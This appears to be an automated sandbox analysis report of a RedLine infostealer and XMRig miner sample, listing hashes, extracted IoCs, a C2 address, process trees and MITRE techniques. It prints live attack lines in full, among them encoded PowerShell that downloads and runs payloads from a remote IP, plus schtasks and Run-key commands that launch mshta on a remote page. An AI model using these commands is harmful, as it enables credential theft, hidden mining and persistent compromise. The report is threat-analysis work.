redline | 6e8bf74388ea7fd0920ba751b8815fc3cf8b08718062695e1860ba9afa961e12

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
06-01-2023 11:14

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General

Target

file.exe
Size

35KB
MD5

4cf755615a13020d548efdb50075c7f4
SHA1

d7fe35e37bda895f6ead22cda6e918716be2bbf1
SHA256

6e8bf74388ea7fd0920ba751b8815fc3cf8b08718062695e1860ba9afa961e12
SHA512

e0230b47232d3ff6ed0d4de0c63990cbd03e7141c62102045f95b4960ccd75407737426218dd643fee5028932f16e63eed6360d95cbe539882d7d4dfecb39348
SSDEEP

768:l4fwXzHw0maEVLjCFHsGy4r/wOPpdwMNhghy0q9:l44XjxmaEVcu4kmTghy0w

Score

10^/10

redline xmrig $infostealer miner persistence spyware

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://62.204.41.194/me.png

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://62.204.41.194/F1.exe

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://62.204.41.194/go.png

Extracted

Family

redline

Botnet

31.41.244.135:19850

Attributes

auth_value
66623f79e2af33286760f5dd6c4262dc

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/2704-175-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/2704-176-0x000000014036EAC4-mapping.dmp	xmrig
behavioral2/memory/2704-177-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/2704-178-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/2704-183-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/2704-192-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

4 4876 powershell.exe
5 4832 powershell.exe
6 4812 powershell.exe
8 4812 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

NoSleep.exeOneDrive.exe

pid process

4264 NoSleep.exe
1828 OneDrive.exe
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

flow	pid	process
4	4876	powershell.exe
5	4832	powershell.exe
6	4812	powershell.exe
8	4812	powershell.exe

pid	process
4264	NoSleep.exe
1828	OneDrive.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta http://62.204.41.194/c.html"	powershell.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

7 ipinfo.io

flow	ioc
7	ipinfo.io

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.execonhost.exe

description	pid	process	target process
PID 4876 set thread context of 3784	4876	powershell.exe	RegSvcs.exe
PID 2840 set thread context of 2704	2840	conhost.exe	conhost.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	powershell.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

220 schtasks.exe

pid	process
220	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.execonhost.exepowershell.execonhost.exeRegSvcs.execonhost.exe

pid	process
4772	powershell.exe
4876	powershell.exe
4812	powershell.exe
4832	powershell.exe
4876	powershell.exe
4812	powershell.exe
4772	powershell.exe
4832	powershell.exe
1188	conhost.exe
1692	powershell.exe
1692	powershell.exe
4876	powershell.exe
4876	powershell.exe
2840	conhost.exe
3784	RegSvcs.exe
2704	conhost.exe
2704	conhost.exe
3784	RegSvcs.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe
2704	conhost.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

652

pid	process
652

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.execonhost.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4772	powershell.exe
Token: SeDebugPrivilege	4876	powershell.exe
Token: SeDebugPrivilege	4812	powershell.exe
Token: SeDebugPrivilege	4832	powershell.exe
Token: SeDebugPrivilege	1188	conhost.exe
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeIncreaseQuotaPrivilege	1692	powershell.exe
Token: SeSecurityPrivilege	1692	powershell.exe
Token: SeTakeOwnershipPrivilege	1692	powershell.exe
Token: SeLoadDriverPrivilege	1692	powershell.exe
Token: SeSystemProfilePrivilege	1692	powershell.exe
Token: SeSystemtimePrivilege	1692	powershell.exe
Token: SeProfSingleProcessPrivilege	1692	powershell.exe
Token: SeIncBasePriorityPrivilege	1692	powershell.exe
Token: SeCreatePagefilePrivilege	1692	powershell.exe
Token: SeBackupPrivilege	1692	powershell.exe
Token: SeRestorePrivilege	1692	powershell.exe
Token: SeShutdownPrivilege	1692	powershell.exe
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeSystemEnvironmentPrivilege	1692	powershell.exe
Token: SeRemoteShutdownPrivilege	1692	powershell.exe
Token: SeUndockPrivilege	1692	powershell.exe
Token: SeManageVolumePrivilege	1692	powershell.exe
Token: 33	1692	powershell.exe
Token: 34	1692	powershell.exe
Token: 35	1692	powershell.exe
Token: 36	1692	powershell.exe
Token: SeIncreaseQuotaPrivilege	1692	powershell.exe
Token: SeSecurityPrivilege	1692	powershell.exe
Token: SeTakeOwnershipPrivilege	1692	powershell.exe
Token: SeLoadDriverPrivilege	1692	powershell.exe
Token: SeSystemProfilePrivilege	1692	powershell.exe
Token: SeSystemtimePrivilege	1692	powershell.exe
Token: SeProfSingleProcessPrivilege	1692	powershell.exe
Token: SeIncBasePriorityPrivilege	1692	powershell.exe
Token: SeCreatePagefilePrivilege	1692	powershell.exe
Token: SeBackupPrivilege	1692	powershell.exe
Token: SeRestorePrivilege	1692	powershell.exe
Token: SeShutdownPrivilege	1692	powershell.exe
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeSystemEnvironmentPrivilege	1692	powershell.exe
Token: SeRemoteShutdownPrivilege	1692	powershell.exe
Token: SeUndockPrivilege	1692	powershell.exe
Token: SeManageVolumePrivilege	1692	powershell.exe
Token: 33	1692	powershell.exe
Token: 34	1692	powershell.exe
Token: 35	1692	powershell.exe
Token: 36	1692	powershell.exe
Token: SeIncreaseQuotaPrivilege	1692	powershell.exe
Token: SeSecurityPrivilege	1692	powershell.exe
Token: SeTakeOwnershipPrivilege	1692	powershell.exe
Token: SeLoadDriverPrivilege	1692	powershell.exe
Token: SeSystemProfilePrivilege	1692	powershell.exe
Token: SeSystemtimePrivilege	1692	powershell.exe
Token: SeProfSingleProcessPrivilege	1692	powershell.exe
Token: SeIncBasePriorityPrivilege	1692	powershell.exe
Token: SeCreatePagefilePrivilege	1692	powershell.exe
Token: SeBackupPrivilege	1692	powershell.exe
Token: SeRestorePrivilege	1692	powershell.exe
Token: SeShutdownPrivilege	1692	powershell.exe
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeSystemEnvironmentPrivilege	1692	powershell.exe
Token: SeRemoteShutdownPrivilege	1692	powershell.exe
Token: SeUndockPrivilege	1692	powershell.exe

Suspicious use of WriteProcessMemory 49 IoCs

Processes:

file.exepowershell.exepowershell.exeNoSleep.execonhost.exepowershell.exeOneDrive.execonhost.exe

description	pid	process	target process
PID 4900 wrote to memory of 4812	4900	file.exe	powershell.exe
PID 4900 wrote to memory of 4812	4900	file.exe	powershell.exe
PID 4900 wrote to memory of 4832	4900	file.exe	powershell.exe
PID 4900 wrote to memory of 4832	4900	file.exe	powershell.exe
PID 4900 wrote to memory of 4876	4900	file.exe	powershell.exe
PID 4900 wrote to memory of 4876	4900	file.exe	powershell.exe
PID 4900 wrote to memory of 4772	4900	file.exe	powershell.exe
PID 4900 wrote to memory of 4772	4900	file.exe	powershell.exe
PID 4812 wrote to memory of 220	4812	powershell.exe	schtasks.exe
PID 4812 wrote to memory of 220	4812	powershell.exe	schtasks.exe
PID 4832 wrote to memory of 4264	4832	powershell.exe	NoSleep.exe
PID 4832 wrote to memory of 4264	4832	powershell.exe	NoSleep.exe
PID 4264 wrote to memory of 1188	4264	NoSleep.exe	conhost.exe
PID 4264 wrote to memory of 1188	4264	NoSleep.exe	conhost.exe
PID 4264 wrote to memory of 1188	4264	NoSleep.exe	conhost.exe
PID 1188 wrote to memory of 1692	1188	conhost.exe	powershell.exe
PID 1188 wrote to memory of 1692	1188	conhost.exe	powershell.exe
PID 4876 wrote to memory of 2260	4876	powershell.exe	RegSvcs.exe
PID 4876 wrote to memory of 2260	4876	powershell.exe	RegSvcs.exe
PID 4876 wrote to memory of 2260	4876	powershell.exe	RegSvcs.exe
PID 4876 wrote to memory of 3784	4876	powershell.exe	RegSvcs.exe
PID 4876 wrote to memory of 3784	4876	powershell.exe	RegSvcs.exe
PID 4876 wrote to memory of 3784	4876	powershell.exe	RegSvcs.exe
PID 4876 wrote to memory of 3784	4876	powershell.exe	RegSvcs.exe
PID 4876 wrote to memory of 3784	4876	powershell.exe	RegSvcs.exe
PID 4876 wrote to memory of 3784	4876	powershell.exe	RegSvcs.exe
PID 4876 wrote to memory of 3784	4876	powershell.exe	RegSvcs.exe
PID 4876 wrote to memory of 3784	4876	powershell.exe	RegSvcs.exe
PID 1828 wrote to memory of 2840	1828	OneDrive.exe	conhost.exe
PID 1828 wrote to memory of 2840	1828	OneDrive.exe	conhost.exe
PID 1828 wrote to memory of 2840	1828	OneDrive.exe	conhost.exe
PID 2840 wrote to memory of 1632	2840	conhost.exe	conhost.exe
PID 2840 wrote to memory of 1632	2840	conhost.exe	conhost.exe
PID 2840 wrote to memory of 1632	2840	conhost.exe	conhost.exe
PID 2840 wrote to memory of 2704	2840	conhost.exe	conhost.exe
PID 2840 wrote to memory of 2704	2840	conhost.exe	conhost.exe
PID 2840 wrote to memory of 2704	2840	conhost.exe	conhost.exe
PID 2840 wrote to memory of 2704	2840	conhost.exe	conhost.exe
PID 2840 wrote to memory of 2704	2840	conhost.exe	conhost.exe
PID 2840 wrote to memory of 2704	2840	conhost.exe	conhost.exe
PID 2840 wrote to memory of 2704	2840	conhost.exe	conhost.exe
PID 2840 wrote to memory of 2704	2840	conhost.exe	conhost.exe
PID 2840 wrote to memory of 2704	2840	conhost.exe	conhost.exe
PID 2840 wrote to memory of 2704	2840	conhost.exe	conhost.exe
PID 2840 wrote to memory of 2704	2840	conhost.exe	conhost.exe
PID 2840 wrote to memory of 2704	2840	conhost.exe	conhost.exe
PID 2840 wrote to memory of 2704	2840	conhost.exe	conhost.exe
PID 2840 wrote to memory of 2704	2840	conhost.exe	conhost.exe
PID 2840 wrote to memory of 2704	2840	conhost.exe	conhost.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4900

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc IABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAnAFwAQQBwAHAARABhAHQAYQAnAA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4772

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBtAGUALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4876

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
PID:2260

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:3784

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBOAG8AUwBsAGUAZQBwAC4AZQB4AGUAIgANAAoAJABXAGUAYgBGAGkAbABlACAAPQAgACIAaAB0AHQAcAA6AC8ALwA2ADIALgAyADAANAAuADQAMQAuADEAOQA0AC8ARgAxAC4AZQB4AGUAIgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVwBlAGIARgBpAGwAZQAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkA
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4832

C:\Users\Admin\AppData\Roaming\NoSleep.exe
"C:\Users\Admin\AppData\Roaming\NoSleep.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4264

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\NoSleep.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1188

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAbABoAG4AIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE8AbgBlAEQAcgBpAHYAZQBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlACIAJwApACAAPAAjAG0AeAAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQATABvAGcATwBuACkAIAA8ACMAbQB0AHUAdAAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdwAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAAIAAtAFIAdQBuAEwAZQB2AGUAbAAgACcASABpAGcAaABlAHMAdAAnACAALQBGAG8AcgBjAGUAIAA8ACMAbgB3AHEAIwA+ADsAIABDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABOAG8AUwBsAGUAZQBwAC4AZQB4AGUAJwAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE8AbgBlAEQAcgBpAHYAZQBcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgADwAIwBlAHEAcwAjAD4AOwAgAFMAdABhAHIAdAAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAA8ACMAdwBmAGkAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwA7AA=="
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1692

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBnAG8ALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4812

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "OneDrive Standalone Update Task - S - 1 - 5 - 21 - 3301851721 - 4018334294 - 377670162 - 1001" /sc ONLOGON /tr "mshta http://62.204.41.194/c.html " /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:220

C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1828

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2840

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe "cvxjxkjice"
3⤵
PID:1632

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe pjsnsurpv0 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZebSGUfj6Vuv+kPoPZ9FoidkTm/7TRz3Cxu5/LqhuwWCS2hvmHfyPTAWIo4zY5OcwjP+79VuJh5O5c9vMH8WB3WKocLPQQ3D/631f214VrDNh9z0jOLbJJ9YXALTSKeo3z0yqpo23wDcDd1T/hDfuDceoldVJQGMTDTCXN0Q0os5qQZpM/bbi7sbKmKkdCHj6mFIu02fq5LlHaQLCNyvHRzVgK320/ko7oR3JyhnmBQHtbZUpiFNPFJEf7lTC77qWxEJ3h4yjiCPgrTI6MoBbSgjAmpPlQgNd71RJ7lG0ikmSTeoT3CddgZH5TjpSuHbPN3ha82GVaI5+j+dJzAfNAaJfxYNDrhTxng1MpRAutdkSftro/iAbX8hcx7q/b7Qg7J3CyclBC4/Mwe/Jeo6Q9AKf6F7/3Yi99ifKM20LuEsFK/pU/n4DnNACnryf3RdME
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:2704

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log
Filesize
642B

MD5
0b4ce74a6163ae20974c8ba4fdd4f1fa

SHA1
3c645b8b4d9bd437e7f1f74c21304452245dba1c

SHA256
2267541e715084f5cda2c56fe4186d937b73a3bb8e31a5e87cdc351ab558d4e7

SHA512
d3dd26b2817f22f38acebe03f6487d01421dea27717ac352a03b1b4bfec990d80796458cf608aa25e932bb91cfeedd25d6ced51cf3e554fdc3a1164bc3e5805c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
eb4d127b8a6f84a1cee423c5e3e3a51d

SHA1
c55263a8ff097067f2393ce2120801a445fd1949

SHA256
d73b077e2ae7f7608ebf774fb83ab13c7bc7a5c3e4d9d96fda2bf695dc698514

SHA512
45a52004f8b63ac089de017437ba0e03335f18469942795d36ce3c3d017f842e582103c91e07d9af0fa8dfbbe6f2f68f2fac91383a48b6535952a8630911f21e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
eb4d127b8a6f84a1cee423c5e3e3a51d

SHA1
c55263a8ff097067f2393ce2120801a445fd1949

SHA256
d73b077e2ae7f7608ebf774fb83ab13c7bc7a5c3e4d9d96fda2bf695dc698514

SHA512
45a52004f8b63ac089de017437ba0e03335f18469942795d36ce3c3d017f842e582103c91e07d9af0fa8dfbbe6f2f68f2fac91383a48b6535952a8630911f21e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
2c6381f0956ca4ef4cd1bc9d3ea93647

SHA1
191fe0faeae30f0edb6160450f0daff92930a256

SHA256
05ed83ee50759bb488df56dcdd5ed2d222310c4bfbafcfd4c72a90d59da1b12f

SHA512
7bccf8e8bef81e8e6f6ec00dc8d3da9a8a5c70a659e914db5bd4607dc89ed9d7c285490202c137a9b56384f2c8139dc709a2716bb146cdacd5a2806bb0783390

Download Submit
C:\Users\Admin\AppData\Roaming\NoSleep.exe
Filesize
4.4MB

MD5
da256d1a520061b14d1cd013d99e84ff

SHA1
1aad91448144852bd1bf83dcb85bd14c6db160da

SHA256
feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

SHA512
8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

Download Submit
C:\Users\Admin\AppData\Roaming\NoSleep.exe
Filesize
4.4MB

MD5
da256d1a520061b14d1cd013d99e84ff

SHA1
1aad91448144852bd1bf83dcb85bd14c6db160da

SHA256
feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

SHA512
8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

Download Submit
C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
Filesize
4.4MB

MD5
da256d1a520061b14d1cd013d99e84ff

SHA1
1aad91448144852bd1bf83dcb85bd14c6db160da

SHA256
feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

SHA512
8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

Download Submit
C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
Filesize
4.4MB

MD5
da256d1a520061b14d1cd013d99e84ff

SHA1
1aad91448144852bd1bf83dcb85bd14c6db160da

SHA256
feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

SHA512
8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

Download Submit
memory/220-144-0x0000000000000000-mapping.dmp

Download
memory/1188-151-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp

Filesize
10.8MB

Download
memory/1188-166-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp

Filesize
10.8MB

Download
memory/1188-152-0x0000021F22590000-0x0000021F229EB000-memory.dmp

Filesize
4.4MB

Download
memory/1632-173-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp

Filesize
10.8MB

Download
memory/1632-174-0x0000012DFA720000-0x0000012DFA739000-memory.dmp

Filesize
100KB

Download
memory/1632-191-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp

Filesize
10.8MB

Download
memory/1692-160-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp

Filesize
10.8MB

Download
memory/1692-154-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp

Filesize
10.8MB

Download
memory/1692-153-0x0000000000000000-mapping.dmp

Download
memory/2704-177-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/2704-194-0x000001E7C9A60000-0x000001E7C9A80000-memory.dmp

Filesize
128KB

Download
memory/2704-193-0x000001E7C9A60000-0x000001E7C9A80000-memory.dmp

Filesize
128KB

Download
memory/2704-192-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/2704-187-0x000001E7C99D0000-0x000001E7C9A10000-memory.dmp

Filesize
256KB

Download
memory/2704-183-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/2704-179-0x000001E7C99A0000-0x000001E7C99C0000-memory.dmp

Filesize
128KB

Download
memory/2704-178-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/2704-176-0x000000014036EAC4-mapping.dmp

Download
memory/2704-175-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

Download
memory/2840-169-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp

Filesize
10.8MB

Download
memory/2840-180-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp

Filesize
10.8MB

Download
memory/2840-172-0x000001DB996D0000-0x000001DB996E2000-memory.dmp

